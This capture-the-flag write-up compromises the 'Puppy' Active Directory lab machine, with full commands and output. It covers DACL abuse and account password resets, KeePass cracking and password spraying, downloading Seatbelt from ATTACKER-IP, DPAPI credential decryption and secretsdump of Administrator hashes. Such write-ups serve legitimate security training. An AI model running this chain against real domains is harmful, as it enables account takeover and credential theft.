External Recon
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-26 22:20:08Z)
111/tcp open rpcbind 2-4 (RPC #100000)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2049/tcp open nlockmgr 1-4 (RPC #100021)
3260/tcp open iscsi?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Even though this is an assumed-breach machine I still have to start with a nmap scan to find that I am dealing with a Domain Controller for the puppy.htb
domain. It has the hostname of DC
and besides the usual ports NFS is also present but not used during the machine.
Foothold
Machine Information
As is common in real life pentests, you will start the Puppy box with credentials for the following account:
levi.james
/KingofAkron2025!
Internal Recon
With an account provided I perform the basic reconnaissance of listing SMB shares, which shows the non-default DEV
share. However I currently do not have any permissions on said share.
$ nxc smb dc.puppy.htb -u 'levi.james' -p 'KingofAkron2025!' --shares
SMB 10.129.239.216 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.239.216 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.239.216 445 DC [*] Enumerated shares
SMB 10.129.239.216 445 DC Share Permissions Remark
SMB 10.129.239.216 445 DC ----- ----------- ------
SMB 10.129.239.216 445 DC ADMIN$ Remote Admin
SMB 10.129.239.216 445 DC C$ Default share
SMB 10.129.239.216 445 DC DEV DEV-SHARE for PUPPY-DEVS
SMB 10.129.239.216 445 DC IPC$ READ Remote IPC
SMB 10.129.239.216 445 DC NETLOGON READ Logon server share
SMB 10.129.239.216 445 DC SYSVOL READ Logon server share
Following that I use the Bloodhound CE compatible ingestor the collect information about the Active Directory. And upload it to my locally running Bloodhound instance.
$ bloodhound-ce-python -c All -u 'levi.james' -p 'KingofAkron2025!' -d puppy.htb -ns 10.129.239.216 --dns-tcp --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 03S
Privilege Escalation
DACL Abuse
Checking the outbound object control of the provided user levi.james
shows that I can add users to the developers
group. This group will most likely have some access to the DEV
share.
So I use bloodyAD
to add levi.james
to the developers
group, since this the only user access to at the moment.
$ bloodyAD --host '10.129.157.223' -u 'levi.james' -p 'KingofAkron2025!' -d 'puppy.htb' add groupMember 'developers' 'levi.james'
[+] levi.james added to developers
As a new member of the developers
group I can now read the contents of the DEV
share.
$ nxc smb dc.puppy.htb -u 'levi.james' -p 'KingofAkron2025!' --shares
SMB 10.129.239.216 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.239.216 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.239.216 445 DC [*] Enumerated shares
SMB 10.129.239.216 445 DC Share Permissions Remark
SMB 10.129.239.216 445 DC ----- ----------- ------
SMB 10.129.239.216 445 DC ADMIN$ Remote Admin
SMB 10.129.239.216 445 DC C$ Default share
SMB 10.129.239.216 445 DC DEV READ DEV-SHARE for PUPPY-DEVS
SMB 10.129.239.216 445 DC IPC$ READ Remote IPC
SMB 10.129.239.216 445 DC NETLOGON READ Logon server share
SMB 10.129.239.216 445 DC SYSVOL READ Logon server share
To do so I connect to the machine using smbclient.py
from Impacket. There I find a KeePassXC installer and also a KeePass database file called recovery.kdbx
, which I transfer to my machine.
$ smbclient.py 'levi.james:KingofAkron2025!@dc.puppy.htb'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use DEV
# ls
drw-rw-rw- 0 Sun Mar 23 08:07:57 2025 .
drw-rw-rw- 0 Sat Mar 8 17:52:57 2025 ..
-rw-rw-rw- 34394112 Sun Mar 23 08:09:12 2025 KeePassXC-2.7.9-Win64.msi
drw-rw-rw- 0 Sun Mar 9 21:16:16 2025 Projects
-rw-rw-rw- 2677 Wed Mar 12 03:25:46 2025 recovery.kdbx
# get recovery.kdbx
SMB Shares
Converting the database using keepass2john
fails so I fallback to “manually” cracking the database by trying out different passwords and seeing if the file decrypts. To automate this process someone already wrote a script called keepass4brute. So I clone the repository, install KeePassXC (which is used to try out the passwords and ultimately view the data).
$ git clone https://github.com/r3nt0n/keepass4brute
$ cd keepass4brute && chmod +x keepass4brute.sh
$ sudo apt install -y keepassxc
$ ./keepass4brute.sh ../recovery.kdbx /usr/share/wordlists/rockyou.txt
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute
[+] Words tested: 36/14344392 - Attempts per minute: 77 - Estimated time remaining: 18 weeks, 3 days
[+] Current attempt: liverpool
[*] Password found: liverpool
Despite the horrendous estimate the database password is guessed almost instantly and I use KeePassXC to access it’s contents, where I find five credentials.
Instead of manually trying them I export the database to a CSV file to create a usable password list using the command below.
$ cat keepass_dump.csv | awk -F ',' '{print $4}' | sed 's/"//g' > passwords.txt
Password Spray
With a password list created I still need a list of users, for this I leverage --users-export
from nxc
. With everything in place I start trying out different username and password combinations, this return a successful login for the user ant.edwards
.
$ nxc ldap DC.puppy.htb -u 'levi.james' -p 'KingofAkron2025!' --users-export domain_users.txt
LDAP 10.129.157.223 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.157.223 389 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
LDAP 10.129.157.223 389 DC [*] Enumerated 9 domain users: PUPPY.HTB
LDAP 10.129.157.223 389 DC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.157.223 389 DC Administrator 2025-02-19 20:33:28 0 Built-in account for administering the computer/domain
LDAP 10.129.157.223 389 DC Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 10.129.157.223 389 DC krbtgt 2025-02-19 12:46:15 0 Key Distribution Center Service Account
LDAP 10.129.157.223 389 DC levi.james 2025-02-19 13:10:56 5
LDAP 10.129.157.223 389 DC ant.edwards 2025-02-19 13:13:14 0
LDAP 10.129.157.223 389 DC adam.silver 2025-06-27 00:19:29 0
LDAP 10.129.157.223 389 DC jamie.williams 2025-02-19 13:17:26 5
LDAP 10.129.157.223 389 DC steph.cooper 2025-02-19 13:21:00 5
LDAP 10.129.157.223 389 DC steph.cooper_adm 2025-03-08 16:50:40 5
LDAP 10.129.157.223 389 DC [*] Writing 9 local users to domain_users.txt
$ nxc ldap dc.puppy.htb -u domain_users.txt -p passwords.txt
SMB 10.129.239.216 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
[...]
LDAP 10.129.239.216 389 DC [+] PUPPY.HTB\ant.edwards:Antman2025!
Looking at outbound object control again I can see a clear path from ant.edwards
towards a user from the Remote Management Users
group, namely adam.silver
.
Usually I would use ShadowCredentials to gain access to the NT hash of a user I have GenericAll/Write over, however since AD CS is not present I have to change the users password. To do so I use bloodyAD
again.
$ bloodyAD --host 10.129.239.216 -u 'ant.edwards' -p 'Antman2025!' -d 'puppy.htb' set password 'adam.silver' 'Sup3rP@ssW0rd!'
[+] Password changed successfully!
After that I am confronted with a minor inconvenience of the account being disabled. Which thankfully is easily solvable due to my permissions over the user. To remove the ACCOUNTDISABLE flag from adam.silver
I rely on bloodyAD
again.
$ nxc ldap dc.puppy.htb -u 'adam.silver' -p 'Sup3rP@ssW0rd!'
SMB 10.129.239.216 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
LDAP 10.129.239.216 389 DC [-] PUPPY.HTB\adam.silver:Sup3rP@ssW0rd! STATUS_ACCOUNT_DISABLED
$ bloodyAD --host 10.129.239.216 -u 'ant.edwards' -p 'Antman2025!' -d 'puppy.htb' remove uac 'adam.silver' -f 'ACCOUNTDISABLE'
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl
Backup Data
With winRM access to the machine as adam.silver
I begin enumerating the system and find a non-default directory in the the filesystem-root. The discovered Backups
directory contains a ZIP archive, which I download to my machine suing the builtin-in download function of evil-winrm
.
steph.cooper@evil-winrm$ ls C:\
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/9/2025 10:48 AM Backups
d----- 5/12/2025 5:21 PM inetpub
d----- 5/8/2021 1:20 AM PerfLogs
d-r--- 4/4/2025 3:40 PM Program Files
d----- 5/8/2021 2:40 AM Program Files (x86)
d----- 3/8/2025 9:00 AM StorageReports
d-r--- 3/8/2025 8:52 AM Users
d----- 5/13/2025 4:40 PM Windows
steph.cooper@evil-winrm$ ls C:\Backups
Directory: C:\Backups
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/8/2025 8:22 AM 4639546 site-backup-2024-12-30.zip
steph.cooper@evil-winrm$ download C:\\Backups\\site-backup-2024-12-30.zip site-backup-2024-12-30.zip
After extracting the archive, which does seem related to any running services/applications on the machine, I look for credentials with the source code. A quick grep reveals a potential password in the nms-auth-config.xml.bak
file.
$ grep -ira passw .
[...]
./assets/js/util.js: // Password.
./assets/js/util.js: $this.find('input[type=password]')
./assets/js/util.js: .replace(/type="password"/i, 'type="text"')
./assets/js/util.js: .replace(/type=password/i, 'type=text')
./assets/js/util.js: $this.find('input[type=text],input[type=password],textarea')
./assets/js/util.js: case 'password':
./nms-auth-config.xml.bak: <bind-password>ChefSteph2025!</bind-password>
Looking at the complete file I can see that the password is very likely related to the user steph.cooper
, which makes sense given that part of their username is contains within the password.
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
<user-attributes>
<attribute name="username" ldap-attribute="uid" />
<attribute name="firstName" ldap-attribute="givenName" />
<attribute name="lastName" ldap-attribute="sn" />
<attribute name="email" ldap-attribute="mail" />
</user-attributes>
<group-attributes>
<attribute name="groupName" ldap-attribute="cn" />
<attribute name="groupMember" ldap-attribute="member" />
</group-attributes>
<search-filter>
<filter>(&(objectClass=person)(uid=%s))</filter>
</search-filter>
</ldap-config>
I then use nxc
to confirm whether these credentials works and consulting Bloodhound also tells me this another member of the Remote Management Users
group.
$ nxc ldap dc.puppy.htb -u 'steph.cooper' -p 'ChefSteph2025!'
SMB 10.129.239.216 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
LDAP 10.129.239.216 389 DC [+] PUPPY.HTB\steph.cooper:ChefSteph2025!
DPAPI
While analysing the Active Directory in Bloodhound I saw that besides the default Administrator
user there’s also a second one named setph.cooper_adm
.
Simply based on the name I assume that some tiering model is in place, so a user has separate low and high privileged accounts, as designated by the _adm
suffix. Looking back at several HTB machines, in recent memory something like Vintage, there is a very high chance that credentials for the setph.cooper_adm
account are stored using DPAPI. Also unrelated to previous HTB it a good and rather stealthy technique to pillage DPAPI secrets of a compromised user.
For convenience I transfer SeatBelt on to machine and use it’s DpapiMasterKeys
and WindowsCredentialFiles
commands to enumerate existing DPAPI masterkeys and blobs. You can enumerate the presence simply by navigating to the appropriate storage locations without any additional tooling, just keep in minds that these folders and files have the hidden attribute set.
steph.cooper@evil-winrm$ iwr http://ATTACKER-IP/Seatbelt.exe -o Seatbelt.exe
steph.cooper@evil-winrm$ ./Seatbelt.exe DpapiMasterKeys WindowsCredentialFiles
====== DpapiMasterKeys ======
Folder : C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
LastAccessed LastModified FileName
------------ ------------ --------
3/8/2025 7:40:36 AM 3/8/2025 7:40:36 AM 556a2412-1275-4ccf-b721-e6a0b4f90407
[*] Use the Mimikatz "dpapi::masterkey" module with appropriate arguments (/pvk or /rpc) to decrypt
[*] You can also extract many DPAPI masterkeys from memory with the Mimikatz "sekurlsa::dpapi" module
[*] You can also use SharpDPAPI for masterkey retrieval.
====== WindowsCredentialFiles ======
Folder : C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\
FileName : DFBE70A7E5CC19A398EBF1B96859CE5D
Description : Local Credential Data
MasterKey : 556a2412-1275-4ccf-b721-e6a0b4f90407
Accessed : 3/8/2025 8:14:09 AM
Modified : 3/8/2025 8:14:09 AM
Size : 11068
Folder : C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\
FileName : C8D69EBE9A43E9DEBF6B5FBD48B521B9
Description : Enterprise Credential Data
MasterKey : 556a2412-1275-4ccf-b721-e6a0b4f90407
Accessed : 3/8/2025 7:54:29 AM
Modified : 3/8/2025 7:54:29 AM
Size : 414
[*] Completed collection in 0.023 seconds
Sticking mostly to Linux for this machine I use evil-winrm
again to download the Enterprise Credential Data blob and the singular master key. Assuming this a real company this user might log into different machines and as such their DPAPI blobs should roam around within. Where the Local Credential Data, as can also see in it path, is relegated to stay on this machine.
steph.cooper@evil-winrm$ download C:\\Users\\steph.cooper\\AppData\\Roaming\\Microsoft\\Credentials\\C8D69EBE9A43E9DEBF6B5FBD48B521B9 C8D69EBE9A43E9DEBF6B5FBD48B521B9
steph.cooper@evil-winrm$ download C:\\Users\\steph.cooper\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1487982659-1829050783-2281216199-1107\\556a2412-1275-4ccf-b721-e6a0b4f90407 556a2412-1275-4ccf-b721-e6a0b4f90407
With those files on my attacker machine I user Impacket script called dpapi.py
to first decrypt the masterkey of steph.cooper
. Afterwards I use the plaintext masterkey to decrypt the credential blob to gain access to the password within.
$ dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid 'S-1-5-21-1487982659-1829050783-2281216199-1107' -dc-ip 10.129.239.216 -password 'ChefSteph2025!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags : 0 (0)
Policy : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
$ dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key '0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Description :
Unknown :
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!
Since this user is already a member of the Administrator
group, I could winRM into the machine right away, or dump hashes from the hashes from the Domain Controller and login as the default Administrator.
$ secretsdump.py -just-dc-user Administrator 'puppy.htb/steph.cooper_adm:FivethChipOnItsWay2025!@dc.puppy.htb'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb0edc15e49ceb4120c7bd7e6e65d75b:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:c0b23d37b5ad3de31aed317bf6c6fd1f338d9479def408543b85bac046c596c0
Administrator:aes128-cts-hmac-sha1-96:2c74b6df3ba6e461c9d24b5f41f56daf
Administrator:des-cbc-md5:20b9e03d6720150d
[*] Cleaning up...